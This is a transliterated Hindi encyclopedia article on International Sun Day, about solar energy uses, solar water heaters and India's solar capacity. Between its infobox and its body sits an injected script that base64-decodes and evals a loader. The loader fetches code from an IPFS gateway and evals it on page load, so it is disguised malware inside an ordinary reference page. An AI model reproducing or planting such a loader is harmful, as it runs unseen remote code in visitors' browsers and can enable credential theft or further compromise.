अन्तरराष्ट्रीय सूर्य दिवस
antararashtriy soory divas
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| vivaran | 'antararashtriy soory divas' saur oorja ke mahattv ko batane hetu poore vishv mean manaya jata hai. |
| tithi | 3 mee |
| uddeshy | saur oorja ke upayog ko badhava dena. |
| sanbandhit lekh | soory, saur oorja, navin aur navikaraniy oorja mantralay |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>antararashtriy soory divas (aangrezi: International Sun Day) saur oorja ke upayog ko badhava dene ke liye pratyek varsh '3 mee' ko manaya jata hai. saur oorja vah oorja hai jo sidhe soory se prapt ki jati hai. saur oorja hi mausam evan jalavayu ka parivartan karati hai. yahian dharati par sabhi prakar ke jivan (pe d-paudhe aur jiv-jantu) ka sahara hai. vaise to saur urja ko vividh prakar se prayog kiya jata hai, kintu soory ki oorja ko vidyut oorja mean badalane ko hi mukhy roop se saur oorja ke roop mean jana jata hai.
mahattv
soory aj sabase adhik sthir avastha mean apane jivan ke kariban adhe raste par hai. isamean kee arab varshoan se natakiy roop se koee badalav nahian hua hai aur agami kee varshoan tak yooan hi aparivartit bana rahega. halaanki ek sthir haidrojan-dahan kal ke pahale ka aur bad ka tara bilakul alag hota hai. saur oorja, jo roshani v ooshma donoan roopoan mean prapt hoti hai, ka upayog kee prakar se ho sakata hai. saur ooshma ka upayog anaj ko sukhane, jal ushman, khana pakane, prashitan, jal parishkaran tatha vidyut oorja utpadan hetu kiya ja sakata hai. photo voltayik pranali dvara soory ke prakash ko vidyut mean roopantarit karake prakash prapt ki ja sakati hai, prashilan ka kary kiya ja sakata hai, doorabhash, telivijan, rediyo adi chalae ja sakate haian, tatha pankhe v jal-pamp adi bhi chalae ja sakate haian.
saur-ushma par adharit praudyogiki
saur ooshma par adharit praudyogiki ka upayog ghareloo, vyaparik v audyogik istemal ke lie jal ko garam karane mean kiya ja sakata hai. desh mean pichhale do dashakoan se saur jalooshmak banae ja rahe haian. lagabhag 4,50,000 vargamitar se adhik kshetraphal ke saur jal ooshma sangrahak sansthapit kie ja chuke haian jo pratidin 220 lakh litar jal ko 60-70° se. tak garam karate haian.
bharat sarakar ka aparamparik oorja srot mantralay is oorja ke upayog ko protsahan dene hetu praudyogiki vikas, pramanan, arthik evan vittiy protsahan, jan-prachar adi karyakram chala raha hai. isake phalasvaroop praudyogiki ab lagabhag paripakvata prapt kar chuki hai tatha isaki dakshata aur arthik lagat mean bhi kaphi sudhar hua hai. vrihadh paimane par kshetr-parikshanoan dvara yah sabit ho chuka hai ki avasiy bhavanoan, restaraoan, hotaloan, aspataloan v vibhinn udyogoan (khady parishkaran, aushadhi, vastr, dibba bandi, adi) ke lie yah ek uchit praudyogiki hai. jab ham saur ooshmak se jal garm karate haian to isase uchch avashyakata vale samay mean bijali ki bachat hoti hai. 100 litar kshamata ke 1000 ghareloo saur jal-ushmakoan se ek megavat bijali ki bachat hoti hai. sath hi 100 litar ki kshamata ke ek saur ooshmak se karban daee aksaid ke utsarjan mean prativarsh 1.5 tan ki kami hogi. in sanyantroan ka jivan-kal lagabhag 15-20 varsh ka hai.
bharat mean saur oorja hetu vibhinn karyakramoan ka sanchalan bharat sarakar ke navin aur navikaraniy oorja mantralay dvara kiya jata hai. bharat ki ghani abadi aur uchch saur atapan saur oorja ko bharat ke lie ek adarsh oorja srot banata hai. kiantu saur oorja nirantar kharchili hai aur is par bhari nivesh ki jaroorat p dati hai. saur oorja ka shvaroop asthir hai jisase ise grid mean samayojit karana mushkil hota hai. logoan ki jagarukata ka abhav, uchhch uthpadan lagat tatha vartaman oorja ko chho dane ki simaean evan pareshan (traansamashin) netavark ko deshabhar mean saur oorja kshamata ke bharapoor dohan ki disha mean mukhhy badha ke roop mean mana gaya hai.
haiandabuk aaun solar redieshan ovar iandiya ke anusar, bharat ke adhikaansh bhag mean ek varsh mean 250-300 dhoop nikalane vale dinoan sahit pratidin prati vargamitar 4-7 kilovat ghante ka saur vikiran prapt hota hai. rajasthan aur gujarat mean prapt saur vikiran u disa mean prapt vikiran ki apeksha jyada hai. desh mean 30-50 megavat/ prativarg kilomitar chhayarahit khula kshetr hone ke bavajood upalabhdh kshamata ki tulana mean desh mean saur oorja ka dohan kaphi kam hai (jo 31-5-2014 ki sthiti ke anusar 2647 megavat hai).
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tika tippani aur sandarbh
sanbandhit lekh
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varnamala kramanusar lekh khoj
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